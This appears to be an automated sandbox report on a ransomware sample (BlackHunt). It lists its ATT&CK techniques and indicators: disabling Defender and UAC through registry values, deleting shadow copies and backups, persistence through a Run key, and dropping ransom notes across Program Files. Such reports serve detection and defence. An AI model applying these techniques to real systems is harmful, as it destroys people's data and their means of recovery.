aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1

Data Destruction

T1485

pid	Process
2604	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2480	bcdedit.exe
2740	bcdedit.exe

Renames multiple (2885) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2832	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\W:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\R:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\S:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\L:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\J:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\K:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\X:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\T:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\Z:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\M:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\I:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\V:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\Q:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\Y:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\U:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\A:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\B:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\N:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\O:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened (read-only)	\??\H:	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_zh_CN.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\meta-index	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Colombo	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_ReadMe.txt	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_SelectionSubpicture.png	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.xml	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861258748.profile.gz	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.hta	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\rtstreamsink.ax	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_ButtonGraphic.png	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Karachi	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Baku	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_Private.key	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\#BlackHunt_Private.key	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_Private.key	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_performance_Thumbnail.bmp	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Nicosia	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-uihandler.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.identity_3.4.0.v20140827-1444.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\1047x576black.png	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\license.html	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.hta	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyrun.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_ja.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Panama	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Maldives	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_Private.key	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Moncton	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Rangoon	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.hta	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dushanbe	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-3	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-back-static.png	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\visualvm.clusters	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_ReadMe.txt	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_ja.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_Private.key	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_ReadMe.txt	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport.wmv	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property_1.4.200.v20140214-0004.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox_1.0.500.v20131211-1531.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jce.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Accessibility.api	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_zh_4.4.0.v20140623020002.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\New_York	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\HLS.api	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_Private.key	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench_1.1.0.v20140512-1820.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_zh_CN.jar	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2548	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1532	vssadmin.exe
2636	vssadmin.exe
2336	vssadmin.exe
1684	vssadmin.exe
2472	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Token: SeRestorePrivilege	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Token: SeBackupPrivilege	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Token: SeTakeOwnershipPrivilege	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Token: SeAuditPrivilege	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Token: SeSecurityPrivilege	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Token: SeIncBasePriorityPrivilege	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Token: SeBackupPrivilege	1712	vssvc.exe
Token: SeRestorePrivilege	1712	vssvc.exe
Token: SeAuditPrivilege	1712	vssvc.exe
Token: SeBackupPrivilege	2508	wbengine.exe
Token: SeRestorePrivilege	2508	wbengine.exe
Token: SeSecurityPrivilege	2508	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1908 wrote to memory of 2744	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	30
PID 1908 wrote to memory of 2744	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	30
PID 1908 wrote to memory of 2744	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	30
PID 1908 wrote to memory of 2744	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	30
PID 1908 wrote to memory of 2600	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	32
PID 1908 wrote to memory of 2600	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	32
PID 1908 wrote to memory of 2600	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	32
PID 1908 wrote to memory of 2600	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	32
PID 1908 wrote to memory of 2552	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	34
PID 1908 wrote to memory of 2552	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	34
PID 1908 wrote to memory of 2552	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	34
PID 1908 wrote to memory of 2552	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	34
PID 2744 wrote to memory of 2748	2744	cmd.exe	35
PID 2744 wrote to memory of 2748	2744	cmd.exe	35
PID 2744 wrote to memory of 2748	2744	cmd.exe	35
PID 1908 wrote to memory of 2344	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	37
PID 1908 wrote to memory of 2344	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	37
PID 1908 wrote to memory of 2344	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	37
PID 1908 wrote to memory of 2344	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	37
PID 1908 wrote to memory of 2736	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	38
PID 1908 wrote to memory of 2736	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	38
PID 1908 wrote to memory of 2736	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	38
PID 1908 wrote to memory of 2736	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	38
PID 2600 wrote to memory of 2328	2600	cmd.exe	40
PID 2600 wrote to memory of 2328	2600	cmd.exe	40
PID 2600 wrote to memory of 2328	2600	cmd.exe	40
PID 2552 wrote to memory of 2620	2552	cmd.exe	41
PID 2552 wrote to memory of 2620	2552	cmd.exe	41
PID 2552 wrote to memory of 2620	2552	cmd.exe	41
PID 1908 wrote to memory of 2472	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	42
PID 1908 wrote to memory of 2472	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	42
PID 1908 wrote to memory of 2472	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	42
PID 1908 wrote to memory of 2472	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	42
PID 1908 wrote to memory of 2468	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	44
PID 1908 wrote to memory of 2468	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	44
PID 1908 wrote to memory of 2468	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	44
PID 1908 wrote to memory of 2468	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	44
PID 1908 wrote to memory of 2612	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	47
PID 1908 wrote to memory of 2612	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	47
PID 1908 wrote to memory of 2612	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	47
PID 1908 wrote to memory of 2612	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	47
PID 1908 wrote to memory of 2444	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	48
PID 1908 wrote to memory of 2444	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	48
PID 1908 wrote to memory of 2444	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	48
PID 1908 wrote to memory of 2444	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	48
PID 1908 wrote to memory of 2488	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	51
PID 1908 wrote to memory of 2488	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	51
PID 1908 wrote to memory of 2488	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	51
PID 1908 wrote to memory of 2488	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	51
PID 1908 wrote to memory of 2976	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	53
PID 1908 wrote to memory of 2976	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	53
PID 1908 wrote to memory of 2976	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	53
PID 1908 wrote to memory of 2976	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	53
PID 1908 wrote to memory of 2496	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	54
PID 1908 wrote to memory of 2496	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	54
PID 1908 wrote to memory of 2496	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	54
PID 1908 wrote to memory of 2496	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	54
PID 2736 wrote to memory of 2944	2736	cmd.exe	56
PID 2736 wrote to memory of 2944	2736	cmd.exe	56
PID 2736 wrote to memory of 2944	2736	cmd.exe	56
PID 1908 wrote to memory of 2136	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	57
PID 1908 wrote to memory of 2136	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	57
PID 1908 wrote to memory of 2136	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	57
PID 1908 wrote to memory of 2136	1908	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
